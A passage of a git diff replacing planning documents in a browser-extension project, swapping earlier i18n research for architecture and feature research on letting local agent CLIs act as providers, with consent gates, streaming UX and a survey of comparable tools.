<-> background | runtime messages (`startAutomation` :1506; NEW `startDelegatedTask`/`stopDelegatedTask`/`getMcpClients`) | keep `startAutomation` payload backward-compatible | +| background <-> hub | ws://7225; today server-initiated only; NEW `ext:*` extension-initiated frames | origin gate bridge.ts:297-309 + NEW shared secret for `ext:*` | +| hub <-> supervisor relay | `relay:hello` capability advertisement (additive) + `ext:*` forwarding | mirrors existing `messageOrigin` response routing bridge.ts:538-571 | +| supervisor <-> child CLI | argv/agent-definition in; stream-json out | watchdog + exit-code mapping to terminal `ext:event` | +| child's MCP server <-> extension | unchanged existing pipeline (register/tools/ownership) | the deliberate reuse core of the milestone | + +--- ## Sources -All findings in this document are verified directly against this repository's own source files and git history (internal-architecture research, not external-ecosystem research): - -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/PROJECT.md` (milestone goal, target features, key context, WARNING-02 history across 5+ milestone mentions) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/package.json` (existing `lint:i18n` script, confirmed `stats/**` ignore-pattern currently present) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/angular.json` (`i18n.locales` block, `i18nMissingTranslation: error` build option, `sourceLocale.subPath` = `""`) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/scripts/verify-locale-sync.mjs` (confirmed scope: registry-parity only, no content diffing) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/scripts/verify-hreflang.mjs` (existing script style/conventions precedent) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/server.js` (middleware mount order, lines 171-179; static-serving setup) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/src/middleware/accept-language.js` (full source of the WARNING-02 bug, cookie-branch logic) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/src/utils/locale-constants.js` and Angular's `.ts` mirror (locale registry single-source-of-truth) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/tests/server-accept-language.test.js` (42-assertion existing test coverage, including the exact assertion that must flip under the WARNING-02 fix) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.github/workflows/ci.yml` (exact `website` job step order โ€” this is the literal insertion point for the new gate) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/phases/v0.9.63-INTEGRATION-CHECK.md` (original WARNING-01/WARNING-02/WARNING-03 audit findings, E2E flow traces, requirements integration map) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/milestones/v0.9.63-*.md` and `.planning/MILESTONES.md` (audit trail confirming WARNING-02 was deliberately deferred as a design lock, not an oversight) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/milestones/v0.9.69-phases/275-privacy-policy-cws-listing-ci-guard-integration-smoke/275-SUMMARY.md` (confirms `extract-i18n-clean` is not a literal npm script name โ€” it's shorthand for the CI shell pipeline) -- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/src/locale/messages*.xlf` (direct file inspection: confirmed 996/996 `state="translated"` in every target file today, proving the structural gate is fully green while semantic drift silently exists) -- Git commit `6d3ad363619a731336ffb5f4480a92346339201a` (`chore(i18n): sync messages.xlf with showcase copy refinements`) โ€” directly diffed both as raw git-stat (247/247) and as an id-keyed trans-unit comparison (5 real changes), which is the basis for this document's central framing correction -- XLIFF 1.2 specification (OASIS, `urn:oasis:names:tc:xliff:document:1.2`) โ€” background on the ``/`` mirroring convention that Pattern 1's diff logic exploits; general industry knowledge of TMS "source drift" / "fuzzy match invalidation" conventions (Phrase, Lokalise, Crowdin all implement variants of this), offered as context for why this pattern is a recognized approach rather than an ad hoc invention โ€” MEDIUM confidence on the general industry-convention claim (not verified against those specific vendors' docs in this session), HIGH confidence on everything else in this document since it was verified directly against this repo's own files +- Direct source reads (this repo; all `file:line` citations above): `mcp/src/{bridge,agent-scope,agent-bridge,runtime,server,http,index,types,platforms,install}.ts`, `mcp/src/tools/autopilot.ts`, `mcp/src/diagnostics.ts`; `extension/ws/{mcp-bridge-client,mcp-tool-dispatcher}.js`; `extension/utils/agent-registry.js`; `extension/ui/{onboarding,options,sidepanel}.js`, `extension/ui/control_panel.html`; `extension/ai/engine-config.js`; `extension/background.js` โ€” HIGH +- graphify graph queries (symbol locations: `handleAgentRegisterRoute` dispatcher:1935, `handleStartAutomation` background:8912, `handleStopAutomation` background:9559, `createRuntime` runtime:31, `PLATFORMS` platforms:77; topology tests `tests/mcp-bridge-topology.test.js` incl. `runHubExitPromotion` :242 and `runRejectsUntrustedBrowserOrigin` :215) โ€” HIGH +- Context7 `/modelcontextprotocol/typescript-sdk` โ€” server-side `getClientVersion()` exists and is functional in v1.x; deprecated in the v2 migration; 2026-era transports return `undefined` and move identity to `ctx.mcpReq.envelope` โ€” HIGH for the pinned `^1.29.0` (`mcp/package.json:54`) +- `.planning/PROJECT.md` v0.9.91 milestone section (INV-01, no-nativeMessaging constraint, security tiers, phases from 57) โ€” HIGH +- Claude Code headless flag surface (`-p`, `--output-format stream-json`, `--strict-mcp-config`, agent definitions): training data + milestone context only โ€” **MEDIUM-LOW; verify exact flags against the installed CLI during the Delegation MVP phase** + +### Open Questions for Phase Research + +1. Exact current `claude` CLI headless flags, permission-mode defaults, and stream-json event schema (verify against the installed CLI at implementation time). +2. Inventory delivery trigger: on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` โ€” decide in Step 2 with payload-size measurements. +3. Shared-secret provisioning for `ext:*` frames (the extension has no pre-shared channel with the daemon other than the bridge itself): TOFU pairing on first `serve` connect vs a user-visible pairing code in the control panel โ€” decide in Step 4 security research. +4. Whether the Providers panel should also surface HTTP-session clients from `serve` mode distinctly from stdio clients (both produce clientInfo; UX question only). --- -*Architecture research for: Angular-i18n showcase site โ€” translation-completeness verification and drift-detection CI gate design* -*Researched: 2026-07-07* +*Architecture research for: FSB v0.9.91 MCP Clients as Providers* +*Researched: 2026-07-10* diff --git a/.planning/research/FEATURES.md b/.planning/research/FEATURES.md index 1d0ecfeee..6d00e341d 100644 --- a/.planning/research/FEATURES.md +++ b/.planning/research/FEATURES.md @@ -1,179 +1,195 @@ # Feature Research -**Domain:** Multi-locale marketing/showcase website -- ongoing i18n completeness maintenance (post-launch, not first-ship) -**Researched:** 2026-07-07 -**Confidence:** HIGH (grounded in direct codebase inspection + Google's own international-SEO guidance + multiple independent i18n-tooling sources) +**Domain:** Local agent CLIs / agent subscriptions as first-class providers in another surface (browser side panel), mixed provider pickers, delegated-run streaming UX, browser-control consent, agent detection +**Milestone:** v0.9.91 MCP Clients as Providers +**Researched:** 2026-07-10 +**Confidence:** HIGH (core UX conventions verified against official docs: Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI; individual items flagged where lower) -> Supersedes the prior v1.0.0 FEATURES.md (App Catalog / OpenTabs Parity research, archived milestone -- unrelated domain). This file is the active v1.2.0 Showcase i18n Completeness research. +> Supersedes the prior v1.2.0 FEATURES.md (Showcase i18n Completeness research, archived milestone -- unrelated domain). This file is the active v0.9.91 MCP Clients as Providers research. -## Scope Note +## How Comparable Products Do This (survey) -This is NOT a "how do we internationalize a site" research doc -- FSB's showcase already shipped i18n at v0.9.63 (7 phases, 420 trans-units, 30 prerendered HTMLs, hard-fail CI gates, Accept-Language middleware). This research answers a narrower question: **for a site that already has i18n infrastructure, what does "staying complete" look like as an ongoing maintenance discipline**, and which of the many things a team *could* do for v1.2.0 are actually load-bearing vs. gold-plating vs. actively harmful for a 6-locale marketing site of this size (420-ish trans-units, ~7 routes). +The "front-end someone else's agent" pattern now exists in four distinct shapes, all shipping as of mid-2026: -Every item below is tagged with its dependency on the existing v0.9.63 foundation -- what's already built vs. what's genuinely new work. +1. **Same-dropdown provider pattern** โ€” Cline and Roo Code list "Claude Code" as an entry in the *same* API Provider dropdown as Anthropic/OpenAI/etc. Selecting it swaps the API-key field for a CLI-path field ("usually `claude` if in PATH") and the tool spawns a `claude` process per message, billing against the user's Pro/Max subscription โ€” "Max subscribers will see $0.00 costs" ([Cline docs](https://docs.cline.bot/provider-config/claude-code), [Cline blog](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline), [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864)). Cline later added "Bring your ChatGPT subscription" via sanctioned Codex OAuth ([Cline blog](https://cline.ghost.io/introducing-openai-codex-oauth/)). +2. **Separate "External Agents" section pattern** โ€” Zed keeps ACP agents (Claude Agent, Gemini CLI, Codex, Copilot) in the Agent Panel's new-thread menu, distinct from Zed-hosted/API-key model providers. Auth is agent-owned (`/login` inside the thread); "An Anthropic API key configured for Zed Agent does not automatically configure Claude Agent" ([Zed external-agents docs](https://zed.dev/docs/ai/external-agents), [Zed ACP blog](https://zed.dev/blog/bring-your-own-agent-to-zed)). +3. **Account-sign-in provider pattern** โ€” Xcode 26 mixes built-in ChatGPT/Claude *account* providers (Sign In button, no key) with add-your-own API-key providers; agentic coding only works with the preconfigured account providers ([Apple docs](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence), [9to5Mac 2025-08-28](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/)). +4. **Hosted pick-your-agent pattern** โ€” GitHub Agent HQ ("mission control") lets users pick Copilot, Claude, or Codex per task, metered as one premium request per agent session ([GitHub blog](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/)). + +Adjacent delegation front-ends: Conductor (Mac app; "sign in or confirm your machine already has a Claude Code or Codex session"; bundles its own CLI copies; "uses Claude Code however you're already logged in" โ€” [docs](https://docs.conductor.build/)), Happy (mobile/web mirror of Claude Code/Codex with realtime streaming + push-notification permission approvals โ€” [happy.engineering](https://happy.engineering/docs/features/)), Vibe Kanban (10+ executors behind one profile abstraction; auto-scans existing `.claude` dirs โ€” [docs](https://vibekanban.com/docs/configuration-customisation/agent-configurations)), OpenCode (client/server split, `opencode serve` + remote clients โ€” [docs](https://opencode.ai/docs/server/)). + +Browser-control consent baselines: Claude in Chrome, ChatGPT Atlas agent mode, Gemini-in-Chrome auto-browse (details under Table Stakes / consent). + +**FSB's structural difference:** every comparable front-ends an agent for *coding in a repo*. FSB front-ends the agent for *driving the user's live browser*, and the spawned agent loops back through FSB's own MCP tools โ€” the delegation target and the visual surface are the same product. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. ## Feature Landscape ### Table Stakes (Users Expect These) -Features/behaviors that, if broken, make the site feel broken or untrustworthy to a non-English visitor -- or make Google misattribute/penalize the site's international signals. These are exactly the class of bug this milestone exists to close. - | Feature | Why Expected | Complexity | Notes | |---------|--------------|------------|-------| -| Every visible string on every marketing page is genuinely translated (not just marked `i18n`) | A mixed-language page (English sentence stranded in a German page) reads as broken/untrustworthy, not "partially localized" -- users don't grade on a curve | MEDIUM | **This is the milestone's core deliverable.** Confirmed gap in current tooling (see Pitfalls note below): `i18nMissingTranslation: "error"` in `angular.json` catches an *absent* ``, but nothing in the existing scripts (`verify-locale-sync.mjs`, `verify-hreflang.mjs`, `verify-bundle-budgets.mjs`) detects a `` that is *present* but identical to `` (a silently-failed/skipped translation) or a target with leftover English fragments. Full-page audit must check rendered output per locale, not just XLIFF structural validity. | -| Locale switcher works identically on every page, in every locale, and preserves the current route | Users expect "switch language" to feel like a toggle, not a reset-to-homepage; broken on even one page (e.g., the newly-added stats page) reads as an afterthought | LOW-MEDIUM | Depends on `LocaleService` + `LOCALE_SUBPATHS` (already built, v0.9.63). New work is verifying it against pages added in the ~1030 commits since (lattice, phantom-stream, prometheus, mobile nav rework) plus the stats page. | -| hreflang + canonical tags present, self-referencing, reciprocal, and correct on every route including new ones | Google's own guidance emphasizes hreflang correctness for international rankings; industry sources cite a high error rate on this exact failure mode across international sites (MEDIUM confidence, single-source stat, but directionally consistent with Google's documented emphasis) | LOW | `verify:hreflang` (`showcase/angular/scripts/verify-hreflang.mjs`) already exists and is CI-wired. Task is extending its route list to cover pages added since v0.9.63, not building new tooling. | -| Canonical tag on each locale variant points to *itself*, not to the English root | Google explicitly documents this exact anti-pattern: canonicals pointing all language versions at the English page tells Google to ignore every non-English variant entirely | LOW | Already implemented via `locale-seo.ts` per v0.9.63; audit-only work this milestone (confirm it holds for new routes). | -| No IP-based or hard client-redirect language guessing -- explicit signals only (Accept-Language header, URL path, cookie), never geo-IP | Google explicitly warns IP location analysis is "difficult and generally not reliable" for content adaptation (HIGH confidence -- direct from Google's own international-SEO docs, fetched and verified) | N/A (already correct) | FSB's existing implementation is Accept-Language + cookie based, not IP-based -- already aligned with best practice. Nothing new required here; noted only so nobody "fixes" this into an anti-pattern while touching the redirect code for WARNING-02. | -| Returning visitor's explicit locale choice (cookie) is honored, not silently overridden by header-sniffing on every fresh tab/shared link | This is WARNING-02. Locale-detection literature is consistent: cookie (explicit past choice) should outrank Accept-Language (implicit signal) for repeat visits | LOW-MEDIUM | Confirmed real bug, not cosmetic: current behavior lets the Accept-Language redirect middleware run before checking the `fsb-locale` cookie on bare `/`, so a user who explicitly picked (e.g.) `es` earlier gets redirected back to whatever their browser's header says on a fresh tab or shared link. Fix is a priority-ordering change in the existing Express middleware (`showcase/server/`), not new infrastructure. | -| Source-of-truth drift is caught automatically, not manually | Any team maintaining >1 locale over time (not just at launch) needs this or content silently rots -- this is the single most consistently cited maintenance failure mode across researched sources | MEDIUM | **This is the "5 confirmed trans-units drifted (plus whatever the full-page audit surfaces)" bug plus the new CI gate.** `verify-locale-sync.mjs` today only diffs the *locale list* between Angular and Express config files -- it does NOT diff XLIFF trans-unit content between `messages.xlf` (source, 6,633 lines) and the 5 translated files (8,026 lines each). The new gate is genuinely new logic, not an extension of existing logic. | -| Placeholders / interpolated values (``, ICU plurals, brand names wrapped in `translate="no"`) are preserved byte-identical across all 5 translated locales | A broken placeholder either crashes rendering or displays a literal `{0}` / raw XML id to the user -- worse than an untranslated string because it looks like a bug, not a missing feature | LOW (verification) / MEDIUM (fix if broken) | `DO-NOT-TRANSLATE.md` convention already exists and is well-specified (brand names, code identifiers, `` wrapping, `[attr.translate]="'no'"` binding form). Audit should re-verify this holds across the 5 confirmed drifted trans-units (plus whatever the audit surfaces) and the stats page's separate translation format (see Anti-Feature/Pitfall below on the parallel `translations.stats-274.*.json` mechanism). | -| The stats page is genuinely folded into the same coverage bar as the rest of the marketing site (removed from `lint:i18n` ignore-pattern) | A page that's excluded from the lint gate is invisible to every future drift check -- it will silently degrade even if today's audit fixes it | LOW-MEDIUM | Confirmed: `showcase/angular/package.json`'s `lint:i18n` script currently reads `eslint "src/**/*.html" --ignore-pattern "src/app/pages/dashboard/**" --ignore-pattern "src/app/pages/stats/**"`. Removing the stats ignore-pattern is a one-line change, but only safe *after* the stats page's actual translation coverage is verified complete (currently uses ad hoc `translations.stats-274.*.json` files per locale, NOT the main `messages.xlf` pipeline -- see Pitfall). | +| Agent providers listed in the same picker as API providers, with kind-specific fields (agent kind hides API-key field) | Cline/Roo set the convention: "Claude Code" sits in the API Provider dropdown; key field disappears, CLI-path field appears | LOW | FSB: rename "API Configuration" โ†’ "Providers" (`control_panel.html:146`), add `kind: api\|agent`. Existing 7 BYOK providers unchanged (INV-03) | +| "Uses your existing subscription/login โ€” no API key needed" labeling on agent providers | Every comparable states this explicitly (Cline: "uses your Claude subscription limits instead of API token billing"; Xcode: account sign-in rows) | LOW | Copy only. Also state the inverse: FSB's Anthropic BYOK key does NOT make Claude Code work (Zed documents this exact confusion) | +| Installed/not-installed state per agent in the picker + detection from disk | Conductor gates onboarding on an existing Claude Code/Codex session; Vibe Kanban scans `.claude` dirs; Smithery CLI lists clients from config paths | MEDIUM | FSB already has the 21-client `platforms.ts` registry with per-OS config paths. Detection must run daemon-side (extension can't read disk); picker must degrade gracefully when daemon offline (show "unknown", not "not installed") | +| Live streaming progress with per-tool-call visibility | Zed shows tool-call status cards; Gemini-in-Chrome "details each step in a work log"; Atlas narrates actions; Happy streams responses in real time | HIGH | Map `claude -p --output-format stream-json --include-partial-messages` events (`system/init`, `stream_event` deltas, tool_use, `system/api_retry`, `result`) into a side-panel feed. Requires the new reverse-request channel over ws://7225 | +| Stop/kill button that actually interrupts the run | Universal: Zed stop button, Gemini "stop it and take over at any time", Atlas pause/take control, OpenCode remote "stop a running action", ACP `session/cancel` | MEDIUM | Kill spawned process tree + release the delegated agent's owned tabs (v0.9.60 ownership) + clear the visual session | +| Explicit offline/unavailable state with a recovery path | Claude Code ships an error table ("Browser extension is not connected" โ†’ fix steps) and a `/chrome` reconnect action; Zed exposes ACP logs for failed agent starts | MEDIUM | FSB constraint: no nativeMessaging โ†’ daemon can't be woken. Honest "agent offline โ†’ run `fsb-mcp-server doctor`" card is the floor; doctor already classifies layers | +| Consent gate before an agent can control the browser, with ask-vs-auto modes | Claude in Chrome: "Ask before acting" vs "Act without asking" + site-level always-allow + upfront plan listing sites; Atlas pauses on sensitive actions and forces watch mode on financial sites; Gemini auto-browse pauses before purchases/messages with "take over task" | MEDIUM-HIGH | Spawn channel is RCE-adjacent: first-enable opt-in (explicit toggle + warning), plus a per-run or per-session confirmation tier. Spawned CLI runs with strict permission defaults + `--strict-mcp-config` (FSB tools only) โ€” never `--dangerously-skip-permissions` | +| Usage/cost reporting appropriate to provider kind | Cline shows $0.00 for Max-subscription runs; Claude Code `result` event carries `total_cost_usd` + per-model breakdown; GitHub meters premium requests per agent session; OpenCode TUI shows tokens+cost top-right | LOW-MEDIUM | Agent kind: show tokens/turns/duration + "included in your subscription", not fabricated dollars. API kind keeps the existing cost tracker. `result` event feeds the existing MCP request log | +| Follow-up messages keep context (thread โ‰ˆ session) | Zed threads map to agent sessions (ACP `session/load`); Codex `resume --last` / `codex exec resume`; Gemini `--resume` + `/chat` checkpoints; Claude Code `--continue`/`--resume ` (scoped to cwd) | MEDIUM | MVP can use Cline's stateless pattern (spawn per message, replay conversation) OR `--resume`; either way the side-panel thread must not amnesia between turns | +| Visible in-browser activity while the delegated agent works | All three browser agents keep actions visible; Claude Code --chrome runs "in a visible Chrome window in real time" and pauses at login/CAPTCHA for the human | LOW | Already built: orange glow, visual session badges, implicit visual-session contract (v0.9.36/v0.9.62). Ensure the spawned CLI's client identity maps to an allowlisted badge | ### Differentiators (Competitive Advantage) -Not required for "complete" -- these are things a *more* mature i18n maintenance program does, valuable but explicitly optional for a 6-locale, ~7-route marketing site at this size. Flagged so the roadmap can consciously decide to defer them rather than silently skip them. - | Feature | Value Proposition | Complexity | Notes | |---------|-------------------|------------|-------| -| Native-speaker (or at least bilingual-fluent) QA review pass on the 5 confirmed resynced trans-units + stats page, beyond AI-filled XLIFF | Catches the class of error automated tooling structurally cannot see: correct grammar/placeholder handling but wrong register, awkward phrasing, or a culturally off idiom. Sources consistently flag "technically correct but wrong tone" as the residual risk category machine translation can't self-detect | MEDIUM (if scoped to only the 5 confirmed drifted units + stats page, plus whatever the audit surfaces, not the full 420) | v0.9.63 already used "AI-filled XLIFF" for the original 420 units with no stated native-review pass -- so this would be a *new* quality bar, not a re-application of an existing one. Reasonable differentiator to scope narrowly to the delta (5 confirmed units + stats page) rather than a full-site re-review, given the site's size. | -| Per-locale automated visual regression / screenshot diffing to catch text-expansion overflow in German or CJK line-wrapping issues | Catches UI-level bugs invisible to a string-level audit: a correctly-translated German string that's 30-40% longer than English can overflow a button or break a card layout even though the *translation itself* is perfect | MEDIUM-HIGH | Genuinely new tooling/infrastructure (no existing visual-regression harness found in the repo). For a marketing site with a small, relatively stable set of ~7 routes and a static-prerender model (not a dynamic app), a **cheaper substitute** exists: manually spot-check the 2-3 highest-risk locales (German for expansion, zh-CN/zh-TW for CJK line-wrap/no-space-between-words wrapping) on the routes with the densest copy, rather than standing up a full per-commit visual-regression pipeline. Full automation is a defensible v1.3+ candidate if the page count grows. | -| Transcreation (not literal translation) applied specifically to taglines/hero copy/CTAs, vs. literal translation for body/documentation-style copy | Marketing headlines and calls-to-action are exactly the content class where literal translation famously fails (the industry's canonical cautionary examples are always tagline-class copy, never body copy) -- HIGH confidence this distinction is real and well-established in translation industry practice | MEDIUM (as a *review criterion* applied selectively) / HIGH (if applied as a full re-transcreation of all hero/CTA copy) | Cheapest version: apply this lens only to hero headlines + primary CTAs across the 6 marketing pages (small surface, maybe 10-20 strings total) during the QA pass above, not a wholesale rewrite. FSB's brand-name-preservation convention (`DO-NOT-TRANSLATE.md`) already shows the team cares about this distinction for terms; extending the same instinct to taglines is a natural, low-cost differentiator, not a new program. | -| A lightweight "translation freshness" report (e.g., per-trans-unit "last synced" marker, surfaced somewhere reviewable) | Turns "is this locale stale?" from an ad hoc git-archaeology exercise into a one-glance check; treated as standard practice once continuous-localization tooling exists | LOW-MEDIUM | Not required for CI gating (the hard-fail drift gate below is sufficient for *blocking bad merges*), but a nice-to-have for *visibility* between audits. Could piggyback on the new drift-detection script's diff output rather than requiring separate infrastructure. | -| Formalizing the stats page's translation format into the main XLIFF pipeline (retire the ad hoc `translations.stats-274.*.json` per-locale files) | Two parallel translation mechanisms for one site (structured XLIFF for 6 routes + loose per-key JSON for stats) is exactly the kind of drift-prone fork the new CI gate is supposed to prevent -- and the JSON format isn't covered by the new drift gate unless the gate is explicitly taught about it | MEDIUM | This is architecturally the "right" fix long-term, but the milestone's stated goal is narrower ("bring the stats page into full translation and drop it from the ignore-pattern") -- it does NOT require migrating the underlying mechanism, only completing coverage under whatever mechanism is in place. Worth flagging as a differentiator/cleanup candidate for this milestone or the next, not a blocking requirement. | +| Ground-truth recommended default (connected > installed > copy-clicked) | Nobody recommends from evidence. Cline preselects its own paid gateway; Xcode just preconfigures accounts. FSB can badge "Recommended โ€” Claude Code connected 2m ago" | MEDIUM | Needs the identity-capture trio: onboarding copy-click persist (client id already in `onboarding.js` handler), MCP `initialize` clientInfo capture (currently discarded), disk detection. Recommend, never auto-switch | +| Connected-agent ground truth from the MCP handshake (clientInfo through `agent:register`) | Comparables detect installs at best; none show *live* connections. A control-panel "Connected agents" roster with last-seen is unique observability | LOW-MEDIUM | clientInfo has zero references in `mcp/` today; `agent:register` payload is empty `{}`. Additive fields only (INV-01). Completes the v0.9.36 deferred item | +| Closed-loop delegation: side panel โ†’ spawn agent CLI โ†’ agent drives the same browser via FSB MCP tools | Inverts Claude Code --chrome (CLI-initiated) into panel-initiated. User asks in the browser; a subscription-grade agent does the work *in that browser* with FSB's visual feedback and tab ownership | HIGH | The spawned CLI connects back as a normal FSB agent (agent id, ownership token, cap 8). Ship a first-party `fsb` agent definition via `--agents` instead of prompt stuffing; hermetic `--strict-mcp-config` | +| Multi-agent adapter contract (detect / build / events / kill / caps) covering Claude Code โ†’ OpenCode โ†’ Codex โ†’ Gemini | Vibe Kanban proves 10+ executors behind one profile abstraction is tractable and valued; from a browser surface it's unowned territory | HIGH | Per-CLI interfaces differ: Claude stream-json; `codex exec` (+ `resume`/`--last`, JSONL sessions in `~/.codex/sessions/`); OpenCode is an HTTP server (OpenAPI), not a spawn; Gemini `--resume`. Caps matrix: task-mode vs chat-mode per adapter | +| Task-mode vs chat-mode (`--resume`) capability flags per adapter | Matches how users think: quick task vs ongoing conversation. Zed/ACP gate this with the `loadSession` capability; FSB can badge "supports follow-ups" | MEDIUM | Claude Code: `--resume ` scoped to project dir/worktree โ€” daemon must pin cwd per thread. Codex: `exec resume`. Gemini: `--resume`. OpenCode: server sessions | +| Cross-surface session continuity (side-panel thread resumable in the terminal) | Because the delegated run IS a genuine Claude Code session on disk, `claude --resume ` continues it in the terminal. Happy's desktopโ†”mobile mirroring proves the appeal | LOW | Just surface the `session_id` from `system/init` in the thread UI ("Continue in terminal: claude --resume โ€ฆ"). Zed offers the reverse (import external-agent threads) | +| Doctor-integrated failure UX | Zed's answer to a broken agent is raw ACP logs; FSB's is a layer-classifying `doctor` with guided recovery โ€” friendlier by design | LOW-MEDIUM | Extend doctor with delegation checks: agent binary found, version, auth state, spawn-channel secret. Deep-link from the side-panel offline card | +| Per-run plan/scope preview in the consent prompt | Claude in Chrome reviews an upfront plan with the sites it will touch; applying that to "spawn X locally, it may control tabs A/B" beats a bare Allow/Deny | MEDIUM | Tier it: first enable (scary, explicit) โ†’ per-run summary (task + agent + scope) โ†’ in-run high-risk confirmations already governed by FSB's existing consent surfaces | +| Kill switch that also reclaims tabs and shows what the agent still owns | Comparables kill the process; none reconcile browser state afterward. FSB's tab ownership makes "agent stopped, 2 tabs released" reportable | MEDIUM | Builds directly on v0.9.60 ownership + reconnect-grace machinery | ### Anti-Features (Commonly Requested, Often Problematic) -Things that sound like "more thorough i18n maintenance" but are wrong-sized or actively counterproductive for a 6-locale, small-route-count marketing site in ongoing-maintenance mode. - | Feature | Why Requested | Why Problematic | Alternative | -|---------|---------------|------------------|-------------| -| Standing up a full commercial TMS (translator-portal workflows, string-level assignment, vendor integration) | "We should have proper localization infrastructure" instinct once a drift bug surfaces | Small-team i18n guidance is explicit that this advice is written for teams with a dedicated localization manager and large content volume; for a small team maintaining 6 languages on a marketing site, a TMS is scope-inflation that creates a second system to keep in sync with the git-based XLIFF source of truth FSB already has. The existing git + XLIFF + `ng extract-i18n` + CI-gate model IS the "simplest workflow that doesn't create problems you'll have to undo later" -- exactly what small-team guidance recommends | Extend the existing lightweight tooling (drift-detection script, `verify-locale-sync.mjs`-style CI gates) rather than replacing it with an external platform. Revisit only if locale count or content volume grows an order of magnitude. | -| Auto-translating dynamically-generated content (e.g., the stats page's live GitHub/telemetry numbers, "most popular agent" labels, timestamps) with no review, on every deploy | Feels consistent with "everything should be localized" | Numeric/live data typically doesn't need translation (numbers are numbers); auto-translating labels around live data with zero review risk is exactly the "machine translation with no human-in-the-loop for customer-facing content" pattern that quality-assurance sources flag as highest-risk -- errors compound silently because nobody re-reads auto-generated output after the first pass | Translate the *static* UI chrome around the stats page (labels, headings, units) through the normal reviewed pipeline; leave live numeric values as locale-formatted numbers (respecting locale number formatting, e.g., decimal/thousands separators) rather than routing them through a translation step at all. | -| A hard client-side or geo-IP redirect that forces a locale based on inferred location, replacing the current Accept-Language + cookie model | Feels like it would "solve" locale detection more thoroughly | Google explicitly documents IP-based content adaptation as unreliable and discourages hard auto-redirects entirely, preferring explicit signals (header/cookie/URL) with an easy manual override -- adopting IP-geolocation while fixing WARNING-02 would trade a real fix for a worse anti-pattern | Keep (and fix, not replace) the existing Accept-Language + cookie model; the WARNING-02 fix is a priority-ordering correction (cookie beats header on repeat visits), not an architecture change. | -| Full per-locale, per-commit automated visual regression testing for every route across all 6 locales | "We should never risk a layout break in any language" | For a static-prerendered marketing site with ~7 routes and infrequent content changes, a full CI-wired screenshot-diffing pipeline (browser automation + baseline management + flake tolerance) is meaningfully more infrastructure than the problem currently justifies -- it's the kind of investment that pays off at app-scale (frequent releases, many dynamic screens), not at showcase-site scale | Targeted manual spot-check of the highest-risk locale/route combinations (German expansion, CJK wrapping) as part of the audit pass; revisit full automation only if page count or release cadence grows substantially. | -| Re-deriving or renegotiating the supported-locale list (adding/dropping a locale) as part of this milestone | Comes up naturally when auditing "is our i18n complete" | Explicitly out of scope per the milestone's own framing -- the 6-locale list (en + es/de/ja/zh-CN/zh-TW) is fixed, carried over from v0.9.63's `LocaleService` + locale-constants module, "not up for debate" | N/A -- audit within the fixed 6-locale set only. | -| Translating the dashboard page as part of "closing the i18n gap" | Feels inconsistent to leave one page untranslated while auditing everything else for completeness | Explicitly and deliberately out of scope this milestone -- the dashboard is an authenticated app surface, not marketing content, and the milestone's own goal statement calls this out by name as staying excluded | Leave `--ignore-pattern "src/app/pages/dashboard/**"` in place in `lint:i18n`; this is intentional scope, not an oversight to "complete." | -| Treating "has a `` element in the XLIFF" as equivalent to "genuinely translated" when building the CI drift gate | The obvious/cheap way to build a completeness check is to assert every `` has a non-empty `` | This exactly reproduces the bug this milestone exists to fix: `i18nMissingTranslation: "error"` already catches *absent* targets; the actual failure mode the audit uncovered is a target that *exists* but is stale/copy-of-source/drifted. A completeness gate built only on "target exists" would pass today's known drift (5 confirmed units, pending the full audit) silently | The new CI drift gate must diff trans-unit *content* (hash or text comparison) between `messages.xlf` (source) and each translated file per commit that touches source content -- not merely assert structural presence of targets. | +|---------|---------------|-----------------|-------------| +| Reuse subscription OAuth tokens / spoof Claude Code headers / use Agent SDK with consumer OAuth | "Just call the API with my Max token โ€” no spawn needed" | Banned. Anthropic blocked it Jan 9 2026 (silent), ToS-clarified Feb 18-20 2026, fully enforced Apr 4 2026; tools get "This credential is only authorized for use with Claude Code". OpenClaw/OpenCode/NanoClaw all hit it ([The Register](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/), [claude-code#28091](https://github.com/anthropics/claude-code/issues/28091)) | Spawn the genuine `claude` binary under the user's own login (Cline/Roo/Zed/Conductor all still ship this; "running the official Claude Code binaryโ€ฆ you are fine"). Keep BYOK API kind as a first-class fallback. Note: OpenAI *sanctions* ChatGPT-subscription OAuth for third parties (Cline Codex OAuth) โ€” auth policy is per-vendor, so encode it in the adapter | +| Bundle or silently auto-install agent CLIs | "One-click setup" (Conductor bundles Claude Code + Codex) | Conductor is a signed native Mac app; FSB is an MV3 extension + npm daemon. Silent installs from a browser-adjacent surface are a security smell, create version drift, and can't happen extension-side at all | Detect from disk + show the copy-able install command (onboarding already has per-client commands) + doctor verification | +| PTY/TUI screen-scraping of the agent's interactive UI | "The TUI already shows everything โ€” just mirror it" | Brittle (ANSI parsing, resize, version drift), no structured tool-call/cost/session data, no clean cancel semantics | Structured headless interfaces only: `claude -p` stream-json, `codex exec` (JSONL sessions), `opencode serve` HTTP API, `gemini` non-interactive | +| Default the spawned agent to `--dangerously-skip-permissions` (or equivalent) for smooth demos | "Permission prompts interrupt the magic" | RCE-adjacent channel + agent with Bash access + 